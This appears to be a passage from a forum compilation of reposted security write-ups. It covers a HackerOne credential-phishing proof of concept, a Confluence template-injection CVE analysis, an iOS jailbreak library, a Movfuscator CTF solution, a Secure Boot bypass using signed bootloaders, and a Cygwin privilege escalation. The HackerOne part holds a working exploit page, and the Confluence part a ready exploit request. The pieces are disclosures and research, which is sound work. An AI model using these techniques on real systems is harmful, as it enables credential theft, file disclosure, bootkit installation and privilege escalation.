Y+PC9mb3JtPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2Pjwvc3Bhbj48L2Rpdj48bm9zY3JpcHQ+PGRpdiBjbGFzcz0ianMtZGlzYWJsZWQiPkl0IGxvb2tzIGxpa2UgeW91ciBKYXZhU2NyaXB0IGlzIGRpc2FibGVkLiBUbyB1c2UgSGFja2VyT25lLCBlbmFibGUgSmF2YVNjcmlwdCBpbiB5b3VyIGJyb3dzZXIgYW5kIHJlZnJlc2ggdGhpcyBwYWdlLjwvZGl2Pjwvbm9zY3JpcHQ+PC9ib2R5Pg==","aliId":null}}}','*'); console.log('send...') }, 10); } </script> </head> <body> <a href="#" onclick="b=window.open('https://www.hackerone.com/product/response#contact','b','_blank'); doit(); return false;" target="_blank">Click me and send something</a></body> </html> It's large, but it also contains your login page. 1. User clicks on the malicious page: 2. User fills in the contact form and submits 3. User gets directly redirected to our data-page 4. If they sign in we will steal the creds: PoC-movie Here's a movie showing the scenario: Impact I'm pretty divided on the impact of this. You could argue that this is similar to opening www.hackerone.com from a page, that will on a later time redirect the user to data:, which is fully possible and probably just as sneaky. The only difference would be that this could be properly fixed and the logic of the listener in this case actually enables the attacker to fool the user related to the interaction with the site. Also, most likely a lot of other customers of Marketo are affected by this and if they lack CSP, there will be XSS:es all over the place. Also, if IE11 would support those contact-popups, it would be an XSS due to the lack of CSP-support, however now I'm getting a JS-error trying to open the contact-form... Mitigation What's interesting here though is that you can actually mitigate this easily by making sure you always use onSuccess=function(){return false} to always make sure followUpUrl won't be used. Regards, Frans 5 attachments: F320358: malicious.png F320359: contact.png F320360: sign-in.png F320361: popup.png F320362: safari-location-data.mp4 Sursa: https://hackerone.com/reports/381356

【CVE-2019-3396】:SSTI and RCE in Confluence Server via Widget Connector 发表于 2019-04-06 | 分类于 Web Security | 阅读次数 1141 Twitter: chybeta Security Advisory https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html Analysis According to the document , there are three parameters that you can set to control the content or format of the macro output, including URL、Width and Height. the Widget Connector has defind some renders. for example the FriendFeedRenderer: public class FriendFeedRenderer implements WidgetRenderer { ... public String getEmbeddedHtml(String url, Map<String, String> params) { params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm"); return this.velocityRenderService.render(getEmbedUrl(url), params); } } In FriendFeedRenderer‘s getEmbeddedHtml function , you will see they put another option _template into params map. However, some other renderers, such as in video category , just call render(getEmbedUrl(url), params) directly So in this situation, we can "offer" the _template ourseleves which the backend will use the params to render Reproduce POST /rest/tinymce/1/macro/preview HTTP/1.1 {"contentId":"65601","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"},"body":""}} Patch in fix version, it will call doSanitizeParameters before render html which will remove the _template in parameters. The code may like this: public class WidgetMacro extends BaseMacro implements Macro, EditorImagePlaceholder { public WidgetMacro(RenderManager renderManager, LocaleManager localeManager, I18NBeanFactory i18NBeanFactory) { ... this.sanitizeFields = Collections.unmodifiableList(Arrays.asList(new String[] { "_template" })); } ... public String execute(Map<String, String> parameters, String body, ConversionContext conversionContext) { ... doSanitizeParameters(parameters); return this.renderManager.getEmbeddedHtml(url, parameters); } private void doSanitizeParameters(Map<String, String> parameters) { Objects.requireNonNull(parameters); for (String sanitizedParameter : this.sanitizeFields) { parameters.remove(sanitizedParameter); } } } 点击赞赏二维码，您的支持将鼓励我继续创作！ Sursa: https://chybeta.github.io/2019/04/06/Analysis-for-【CVE-2019-3396】-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/

jelbrekLib Give me tfp0, I give you jelbrek Library with commonly used patches in open-source jailbreaks. Call this a (light?) QiLin open-source alternative. Compiling: ./make.sh Setup Compile OR head over to https://github.com/jakeajames/jelbrekLib/tree/master/downloads and get everything there. Link with jelbrekLib.a & IOKit.tbd and include jelbrekLib.h Call init_jelbrek() with tfp0 as your first thing and term_jelbrek() as your last Issues AMFID patch won't resist after app enters background. Fix would be using a daemon (like amfidebilitate) or injecting a dylib (iOS 11) iOS 12 satus rootFS remount is broken. There is hardening on snapshot_rename() which can and has been (privately) bypassed, but it for sure isn't as bad as last year with iOS 11.3.1, where they made major changes. The only thing we need is figuring out how they check if the snapshot is the rootfs and not something in /var for example where snapshot_rename works fine. kexecute() is also probably broken on A12. Use bazad's PAC bypass which offers the same thing, so this isn't an issue (fr now) getting root, unsandboxing, NVRAM lock/unlock, setHSP4(), trustbin(), entitlePid + task_for_pid() are all working fine. The rest that is not on top of my mind should also work fine. Codesign bypass Patching amfid should be a matter of getting task_for_pid() working. (Note: on A12 you need to take a completely different approach, bazad has proposed an amfid-patch-less-amfid-bypass in here https://github.com/bazad/blanket/tree/master/amfidupe, which will probably work but don't take my word for it). As for the payload dylib, you can just sign it with a legit cert and nobody will complain about the signature. As for unsigned binaries, you'll probably have to sign them with a legit cert as well, due to CoreTrust, or just add to trustcache. Credits theninjaprawn & xerub for patchfinding xerub & Electra team for trustcache injection stek29 for nvramunlock & lock and hsp4 patch theninjaprawn & Ian Beer for dylib injection Luca Todesco for the remount patch technique Umang Raghuvanshi for the original remount idea pwn20wnd for the implementation of the rename-APFS-snapshot technique AMFID dylib-less patch technique by Ian Beer reworked with the patch code from Electra's amfid_payload (stek29 & coolstar) rootless-hsp4 idea by Ian Beer. Implemented on his updated async_wake exploit Sandbox exceptions by stek29 (https://stek29.rocks/2018/01/26/sandbox.html) CSBlob patching with stuff from Jonathan Levin and xerub Symbol finding by me (https://github.com/jakeajames/kernelSymbolFinder) The rest of patches are fairly simple and shouldn't be considered property of anyone in my opinion. Everyone who has enough knowledge can write them fairly easily And, don't forget to tell me if I forgot to credit anyone! Sursa: https://github.com/jakeajames/jelbrekLib

Understanding the Movfuscator 14 MAR 2019 • 12 mins read MoVfuscator is the PoC for the Turing Completeness of Mov instruction. Yes, you guessed it right. It uses only mov’s, except for a few places. This makes reversing difficult, because the control flow is obfuscated. I’ll be analyzing the challenge Mov of UTCTF’19 using IDA Free. MoV The Stack Movfuscator uses its own stack. The stack consists of an array of addresses. The stack looks like this Each element of the stack is at an offset of 0x200064 from it’s stack address. The stack begins at 0x83f70e8 and it grows from high to low address. The stack pointer is saved in the variable sesp. The variable NEW_STACK stores the address of guard. mov esp, NEW_STACK ; address of guard mov esp, [esp-0x200068] ; address of A[n-1] mov esp, [esp-0x200068] ; address of A[n-2] ; ... ; n times ; ... ; use esp So, mov esp, [esp-0x200068], subtracts 4 from esp. Now we can understand what start does. mov dword [esp-4*4], SIGSEGV mov dword [esp-4*4+4], offset sa_dispatch mov dword [esp-4*4+8], 0 call sigaction mov dword [esp-3*4], SIGILL mov dword [esp-3*4+4], offset sa_loop mov dword [esp-3*4+8], 0 call sigaction ; ; ... ; .plt:08048210 public dispatch .plt:08048210 dispatch proc near ; DATA XREF: .data:sa_dispatch↓o .plt:08048210 mov esp, NEW_STACK .plt:08048216 jmp function .plt:08048216 dispatch endp Movfuscator uses SIGSEGV to execute a function, and SIGILL to execute a JMP instruction which jumps to master_loop. Because we can’t mov to eip, which is invalid in x86. Execution is controlled using the on variable. This is a boolean variable that determines whether a statement will be executed or not. The master_loop sets the value of on and then disables toggle_execution. This is the structure of if statement. def logic_if(condition, dest, src) if (condition) dest = src else discard = src It then adds sesp with 4 and stores the sum in stack_temp. Push The array sel_data contains two members - discard and data_p. This is a MUX which selects data_p if on is set. So, if on is set, eax contains the address of NEW_STACK. And the value of esp-4 is stored in NEW_STACK, which is the stack pointer. And then the value of stack_temp is stored in the current stack pointer. The above set of instructions are equivalent to mov eax, [stack_temp] sub esp, 4 mov [esp], eax It can also be represented as push dword [stack_temp] The sequnce of instructions until 0x0804843C do the following mov eax, [sesp] add eax, 4 push eax push dword [sesp] push 0x880484fe It conditionally sets the value of target to branch_temp. The target variable is the destination an unconditional jump. In this code, the target is set to 0x88048744. Let’s see how jump’s are implemented. on = 1 ... target = jump_destination ; save registers R, F, D on = 0 ... if (fetch_addr == target) { ; restore registers R, F, D on = 1 } ... The above code saves the registers. It now checks if the fetch address equals the address contained in target. The equal-to comparison is computed for each byte and the result is the logical-and of the four comparisons. The result of the comparison is stored in the boolean variable b0. Now if b0 is set, the registers are restored and the on variable is set. This is equivalent to the following if the on variable is set. push 0 call _exit You must be wondering how I deduced the call instruction. Here is it Function Call Function calls are implemented using the SIGSEGV signal. The array fault is defined like this .data:085F7198 fault dd offset no_fault ; DATA XREF: _start+51F↑r .data:085F719C dd 0 .data:085F71A0 no_fault dd 0 So, fault when indexed with on returns 0 if on is set, otherwise a valid address. This return value is dereferenced which results in a SIGSEGV (Segmentation Fault) if its zero. But since, the value of target is 0x88048744. The control jumps to main. In main, the registers are restored and the on flag is set. After that it pushes fp, R1, R2, R3, F1, dword_804e04c, D1 into the stack The function prologue It first assigns the frame pointer fp to the current stack pointer and allocates 37 dwords (148 bytes) from the stack. This is equivalent to the following x86 mov ebp, esp ; ebp is **fp** sub esp, 148 Computes fp-19*4 and stores the value of R3 into the address. So, this is basically mov R3, 0 mov [fp-19*4], R3 Great ! So, we have a dword at fp-0x4c initialized to 0. Then we have an array of bytes at fp-0x47 initialized as follows mov R0, 0x1a mov byte [fp-18*4], R0 mov R0, 0x19 mov byte [fp-0x47], R0 mov R0, 11 mov byte [fp-0x46], R0 mov R0, 0x31 mov byte [fp-0x45], R0 mov R0, 6 mov byte [fp-17*4], R0 mov R0, 4 mov byte [fp-0x43], R0 mov R0, 0x18 mov byte [fp-0x42], R0 mov R0, 0x10 mov byte [fp-0x41], R0 mov R0, 10 mov byte [fp-16*4], R0 mov R0, 0x33 mov byte [fp-0x3f], R0 mov R0, 0x19 mov byte [fp-0x3e], R0 mov R0, 10 mov byte [fp-0x3d], R0 mov R0, 0x33 mov byte [fp-15*4], R0 mov R0, 0 mov byte [fp-0x3b], R0 mov R0, 10 mov byte [fp-0x3a], R0 mov R0, 0x3c mov byte [fp-0x39], R0 mov R0, 0x19 mov byte [fp-14*4], R0 mov R0, 13 mov byte [fp-0x37], R0 mov R0, 6 mov byte [fp-0x36], R0 mov R0, 0x19 mov byte [fp-0x35], R0 mov R0, 0x3c mov byte [fp-13*4], R0 mov R0, 14 mov byte [fp-0x33], R0 mov R0, 0x10 mov byte [fp-0x32], R0 mov R0, 0x3c mov byte [fp-0x31], R0 mov R0, 0x10 mov byte [fp-12*4], R0 mov R0, 12 mov byte [fp-0x2f], R0 mov R0, 0x32 mov byte [fp-0x2e], R0 mov R0, 10 mov byte [fp-0x2d], R0 mov R0, 0x14 mov byte [fp-11*4], R0 mov R0, 13 mov byte [fp-0x2b], R0 mov R0, 6 mov byte [fp-0x2a], R0 mov R0, 0x19 mov byte [fp-0x29], R0 mov R0, 0x3c mov byte [fp-10*4], R0 mov R0, 0x19 mov byte [fp-0x27], R0 mov R0, 6 mov byte [fp-0x26], R0 mov R0, 0x33 mov byte [fp-0x25], R0 mov R0, 4 mov byte [fp-9*4], R0 mov R0, 10 mov byte [fp-0x23], R0 mov R0, 0x33 mov byte [fp-0x22], R0 mov R0, 0x19 mov byte [fp-0x21], R0 mov R0, 14 mov byte [fp-8*4], R0 mov R0, 6 mov byte [fp-0x1f], R0 mov R0, 0x31 mov byte [fp-0x1e], R0 mov R0, 0x31 mov byte [fp-0x1d], R0 mov R0, 0x1e mov byte [fp-7*4], R0 mov R0, 0x3c mov byte [fp-0x1b], R0 mov R0, 0x17 mov byte [fp-0x1a], R0 mov R0, 10 mov byte [fp-0x19], R0 mov R0, 0x31 mov byte [fp-6*4], R0 mov R0, 6 mov byte [fp-0x17], R0 mov R0, 0x19 mov byte [fp-0x16], R0 mov R0, 10 mov byte [fp-0x15], R0 mov R0, 9 mov byte [fp-5*4], R0 mov R0, 0x3c mov byte [fp-0x13], R0 mov R0, 0x19 mov byte [fp-0x12], R0 mov R0, 12 mov byte [fp-0x11], R0 mov R0, 0x3c mov byte [fp-4*4], R0 mov R0, 0x19 mov byte [fp-0xf], R0 mov R0, 13 mov byte [fp-0xe], R0 mov R0, 10 mov byte [fp-0xd], R0 mov R0, 0x3c mov byte [fp-3*4], R0 mov R0, 0 mov byte [fp-0xb], R0 mov R0, 13 mov byte [fp-0xa], R0 mov R0, 6 mov byte [fp-0x9], R0 mov R0, 0x31 mov byte [fp-2*4], R0 mov R0, 0x31 mov byte [fp-7], R0 mov R0, 10 mov byte [fp-6], R0 mov R0, 0x33 mov byte [fp-5], R0 mov R0, 4 mov byte [fp-4], R0 mov R0, 10 mov byte [fp-3], R0 mov R0, 2 mov byte [fp-2], R0 At 0x804ba9c, the int variable at fp-0x4c is set to 0. If target is 0x8804bb37, it executes the following if (target == 0x8804bb37) { ; restore the registers R{0,1,2,3} = jmp_r{0,1,2,3} F{0,1} = jmp_f{0,1} D{0,1} = jmp_d{0, 1} dword_804e044 = dword_85f717c dword_804e04c = dword_85f7184 ; set execution flag on = 1 } mov R3, [fp-19*4] if (on) { mov R3, [R3] mov R2, [fp-37*4] add R2, R3 mov R1, [fp-18*4] add R3, R1 mov R0, byte [R3] mov R3, R0 xor R3, 0x53 sub R3, 3 xor R3, 0x33 mov R0, R3 mov [R2], R0 } Since, the target contains 0x88048744 which is not 0x8804bb37, none of the instructions in the if enclosed by on is executed. At 0x0804C2D4, we have another branch check if (target == 0x8804C2D4) { RESTORE_REGS() on = 1 } mov R3, [fp-19*4] if (on) { add R3, 1 mov [fp-19*4], R3 mov R3, [fp-19*4] setc sbb R3, 0x47 mov branch_temp, 0x8804bb37 } alu_false contains 1 at index 0, and 0 at the remaining indices. So, this sets the complement of the Carry flag. ZeroFlag is evaluated as a NOR logic, i.e., ZF = !(alu_s[0] | alu_s[1] | alu_s[2] | alu_s[3]) alu_b7 is an array of 256 dwords, the first 128 are zero, and the rest are 1. Indexing into this array determines the Sign bit (bit 7) of the index. Okay, so alu_cmp_of represents a truth table. Of what ? Well, there are only two out of the eight minterms set. So, we get the following SOP x'ys + xy's' Where x, y, s are the sign bits of alu_x, alu_y, alu_z. Cool ! This is the overflow flag It xor’s SignFlag and OverflowFlag and sets target to branch_temp which is 0x8804bb37. By x0ring the sign and overflow flags we get the LessThan flag. So, if R3 is less than 0x47, the target is set to 0x8804bb37. Then we have the following mov byte [fp-0x4d], 0 if (target == 0x8804CA3B) { on = 1 } if (on) { mov esp, fp mov D1, [esp] mov dword_804e04c, [esp+4] sub esp, 4*2 mov eax, [esp] sub esp, 4 mov F1, eax mov eax, [esp] sub esp, 4 mov R3, eax mov eax, [esp] sub esp, 4 mov R2, eax mov eax, [esp] sub esp, 4 mov R1, eax mov eax, [esp] sub esp, 4 mov fp, eax mov eax, [esp] sub esp, 4 mov branch_temp, eax mov target, branch_temp on = 0 } A SIGILL is executed which causes the control to jump to master loop. And the execution of the instructions are skipped until the address the control reaches at 0x804bb37 So, this is basically a while loop. Wow !! The control first compares R3 with 0x47 and branches to 0x804bb37 while R3 is less than 0x47. When the condition becomes false, it executes from 0x804ca3b Algorithm So, the logic is int main() { int i = 0; char arr[] = { 26, 25, 11, 49, 6, 4, 24, 16, 10, 51, 25, 10, 51, 0, 10, 60, 25, 13, 6, 25, 60, 14, 16, 60, 16, 12, 50, 10, 20, 13, 6, 25, 60, 25, 6, 51, 4, 10, 51, 25, 14, 6, 49, 49, 30, 60, 23, 10, 49, 6, 25, 10, 9, 60, 25, 12, 60, 25, 13, 10, 60, 0, 13, 6, 49, 49, 10, 51, 4, 10, 2 }; for (i = 0; i < 0x47; ++i) { arr[i] = (arr[i]^0x53)-3 ^ 0x33; } } Executing the above code, yields the flag - utflag{sentence_that_is_somewhat_tangentially_related_to_the_challenge} Sursa: https://x0r19x91.github.io/2019/utctf-mov

ValdikSS April 1, 2019 at 01:24 PM Exploiting signed bootloaders to circumvent UEFI Secure Boot UEFI, Information Security Русская версия этой статьи. Modern PC motherboards' firmware follow UEFI specification since 2010. In 2013, a new technology called Secure Boot appeared, intended to prevent bootkits from being installed and run. Secure Boot prevents the execution of unsigned or untrusted program code (.efi programs and operating system boot loaders, additional hardware firmware like video card and network adapter OPROMs). Secure Boot can be disabled on any retail motherboard, but a mandatory requirement for changing its state is physical presence of the user at the computer. It is necessary to enter UEFI settings when the computer boots, and only then it's possible to change Secure Boot settings. Most motherboards include only Microsoft keys as trusted, which forces bootable software vendors to ask Microsoft to sign their bootloaders. This process include code audit procedure and justification for the need to sign their file with globally trusted key if they want the disk or USB flash to work in Secure Boot mode without adding their key on each computer manually. Linux distributions, hypervisors, antivirus boot disks, computer recovery software authors all have to sign their bootloaders in Microsoft. I wanted to make a bootable USB flash drive with various computer recovery software that would boot without disabling Secure Boot. Let's see how this can be achieved. Signed bootloaders of bootloaders So, to boot Linux with Secure Boot enabled, you need a signed bootloader. Microsoft forbid to sign software licensed under GPLv3 because of tivoization restriction license rule, therefore >GRUB cannot be signed. To address this issue, Linux Foundation released PreLoader and Matthew Garrett made shim—small bootloaders that verify the signature or hash of a single file and execute it. PreLoader and shim do not use UEFI db certificate store, but contain a database of allowed hashes (PreLoader) or certificates (shim) inside the executable file. Both programs, in addition to automatically executing trusted files, allow you to run any previously untrusted programs in Secure Boot mode, but require the physical presence of the user. When executed for the first time, you need to select a certificate to be added or the file to be hashed in the graphical interface, after which the data is added into a special NVRAM variable on the motherboard which is not accessible from the loaded operating system. Files become trusted only for these pre-loaders, not for Secure Boot in general, and still couldn't be loaded without PreLoader or shim. Untrusted software first boot with shim. All modern popular Linux distributions use shim due to certificate support, which makes it easy to provide updates for the main bootloader without the need for user interaction. In general, shim is used to run GRUB2 — the most popular bootloader in Linux. GRUB2 To prevent signed bootloader abuse with malicious intentions, Red Hat created patches for GRUB2 that block «dangerous» functions when Secure Boot is enabled: insmod/rmmod, appleloader, linux (replaced by linuxefi) ,multiboot, xnu, memrw, iorw. The chainloader module, which loads arbitrary .efi-files, introduced its own custom internal .efi (PE) loader without using the UEFI LoadImage/StartImage functions, as well as the validation code of the loaded files via shim, in order to preserve the ability to load files trusted by shim but not trusted in terms of UEFI. It's not exactly clear why this method is preferable—UEFI allows one to redefine (hook) UEFI verification functions, this is how PreLoader works, and indeed in the very shim feature is presented but disabled by default. Anyway, using the signed GRUB from some Linux distribution does not suit our needs. There are two ways to create a universal bootable flash drive that would not require adding the keys of each executable file to the trusted files: Use modded GRUB with internal EFI loader, without digital signature vertification or module restrictions; Use custom pre-loader (the second one) which hook UEFI file vertification functions (EFI_SECURITY_ARCH_PROTOCOL.FileAuthenticationState, EFI_SECURITY2_ARCH_PROTOCOL.FileAuthentication) The second method is preferable as executed software can load and start another software, for example, UEFI shell can execute any program. The first method does not provide this, allowing only GRUB to execute arbitrary files. Let's modify PreLoader by removing all unnecessary features and patch verification code to allow everything. Disk architecture is as follows: ______ ______ ______ ╱│ │ ╱│ │ ╱│ │ /_│ │ → /_│ │ → /_│ │ │ │ → │ │ → │ │ │ EFI │ → │ EFI │ → │ EFI │ │_______│ │_______│ │_______│ BOOTX64.efi grubx64.efi grubx64_real.efi (shim) (FileAuthentication (GRUB2) override) ↓↓↓ ↑ ↑ ______ ↑ ╱│ │ ║ /_│ │ ║ │ │ ═══════════╝ │ EFI │ │_______│ MokManager.efi (Key enrolling tool) This is how Super UEFIinSecureBoot Disk has been made. Super UEFIinSecureBoot Disk is a bootable image with GRUB2 bootloader designed to be used as a base for recovery USB flash drives. Key feature: disk is fully functional with UEFI Secure Boot mode activated. It can launch any operating system or .efi file, even with untrusted, invalid or missing signature. The disk could be used to run various Live Linux distributions, WinPE environment, network boot, without disabling Secure Boot mode in UEFI settings, which could be convenient for performing maintenance of someone else's PC and corporate laptops, for example, with UEFI settings locked with a password. The image contains 3 components: shim pre-loader from Fedora (signed with Microsoft key which is pre-installed in most motherboards and laptops), modified Linux Foundation PreLoader (disables digital signature verification of executed files), and modified GRUB2 loader. On the first boot it's necessary to select the certificate using MokManager (starts automatically), after that everything will work just as with Secure Boot disabled—GRUB loads any unsigned .efi file or Linux kernel, executed EFI programs can load any other untrusted executables or drivers. To demonstrate disk functions, the image contains Super Grub Disk (a set of scripts to search and execute OS even if the bootloader is broken), GRUB Live ISO Multiboot (a set of scripts to load Linux Live distros directly from ISO file), One File Linux (the kernel and initrd in a single file, for system recovery) and several UEFI utilities. The disk is also compatible with UEFI without Secure Boot and with older PCs with BIOS. Signed bootloaders I was wondering is it possible to bypass first boot key enrollment through shim. Could there be some signed bootloaders that allow you to do more than the authors expected? As it turned out—there are such loaders. One of them is used in Kaspersky Rescue Disk 18—antivirus software boot disk. GRUB from the disk allows you to load modules (the insmod command), and module in GRUB is just an executable code. The pre-loader on the disk is a custom one. Of course, you can't just use GRUB from the disk to load untrusted code. It is necessary to modify the chainloader module so that GRUB does not use the UEFI LoadImage/StartImage functions, but instead self-loads the .efi file into memory, performs relocation, finds the entry point and jumps to it. Fortunately, almost all the necessary code is present in Red Hat GRUB Secure Boot repository, the only problem—PE header parser is missing. GRUB gets parsed header from shim, in a response to a function call via a special protocol. This could be easily fixed by porting the appropriate code from the shim or PreLoader to GRUB. This is how Silent UEFIinSecureBoot Disk has been made. The final disk architecture looks as follows: ______ ______ ______ ╱│ │ ╱│ │ ╱│ │ /_│ │ /_│ │ → /_│ │ │ │ │ │ → │ │ │ EFI │ │ EFI │ → │ EFI │ │_______│ │_______│ │_______│ BOOTX64.efi grubx64.efi grubx64_real.efi (Kaspersky (FileAuthentication (GRUB2) Loader) override) ↓↓↓ ↑ ↑ ______ ↑ ╱│ │ ║ /_│ │ ║ │ │ ═══════════╝ │ EFI │ │_______│ fde_ld.efi + custom chain.mod (Kaspersky GRUB2) The end In this article we proved the existence of not enough reliable bootloaders signed by Microsoft key, which allows booting untrusted code in Secure Boot mode. Using signed Kaspersky Rescue Disk files, we achieved a silent boot of any untrusted .efi files with Secure Boot enabled, without the need to add a certificate to UEFI db or shim MOK. These files can be used both for good deeds (for booting from USB flash drives) and for evil ones (for installing bootkits without computer owner consent). I assume that Kaspersky bootloader signature certificate will not live long, and it will be added to global UEFI certificate revocation list, which will be installed on computers running Windows 10 via Windows Update, breaking Kaspersky Rescue Disk 18 and Silent UEFIinSecureBoot Disk. Let's see how soon this would happen. Super UEFIinSecureBoot Disk download: https://github.com/ValdikSS/Super-UEFIinSecureBoot-Disk Silent UEFIinSecureBoot Disk download (ZeroNet Git Center network): http://127.0.0.1:43110/1KVD7PxZVke1iq4DKb4LNwuiHS4UzEAdAv/ About ZeroNet Sursa: https://habr.com/en/post/446238/

Exploiting a privileged zombie process handle leak on Cygwin March 29th, 2019 Vulnerability Two months ago, I was playing with Cygwin and I noticed that all Cygwin processes inherited dead process handles using Process Hacker: Bash.exe process spawned by SSH daemon after a successful connection (1) runs with a newly created token as limited test user. Indeed, Cygwin SSHD worked at the time with an administrator account (cyg_server) emulating set(e)uid by creating a new user token using undocumented NtCreateToken. See Cygwin documentation for more information about the change with version 3.0. The same bash.exe process inherits 3 handles of non-existent processes with full access rights (2). Tracing the process creation and termination with Process Monitor during the SSH connection revealed that these leaked handles are actually privileged process (3) running as cyg_server. Exploitation So what can we do with privileged zombie process handles, since we have full access (PROCESS_ALL_ACCESS) we can: Access Right Possible action OpenProcessToken FAIL Access denied PROCESS_VM_OPERATION FAIL: Any VM operation will fail because the process does not have a address space anymore PROCESS_CREATE_THREAD FAIL: Same problem, no address space, creating thread in the process will NOT work PROCESS_DUP_HANDLE FAIL: Access denied on DuplicateHandle (not sure why :D) PROCESS_CREATE_PROCESS SUCCESS: Finally! Let’s see how to use this privilege: When creating a process, the attribute PROC_THREAD_ATTRIBUTE_PARENT_PROCESS in STARTUPINFO structure allows the calling process to use a different process as the parent for the process being created. The calling process must have PROCESS_CREATE_PROCESS access right on the process handle used as the parent. From Windows documentation: Attributes inherited from the specified process include handles, the device map, processor affinity, priority, quotas, the process token, and job object. So the spawned process will use the privileged token thus it will run as cyg_server: This exploitation technique is not new and there are maybe other ways to exploit this case but I wanted to show a real world example of create process with parent handle instead of just posting about it. I find it cleaner than injecting a shellcode in a privileged process to spawn a process. Exploit source Fix The vulnerability is now fixed with Cygwin version 3.0 thanks to the maintainers that were very responsive. Commit 1: Restricting permissions Commit 2: Restricting permissions on exec Commit 3: Removing the handle inheritance Sursa: https://masthoon.github.io/exploit/2019/03/29/cygeop.html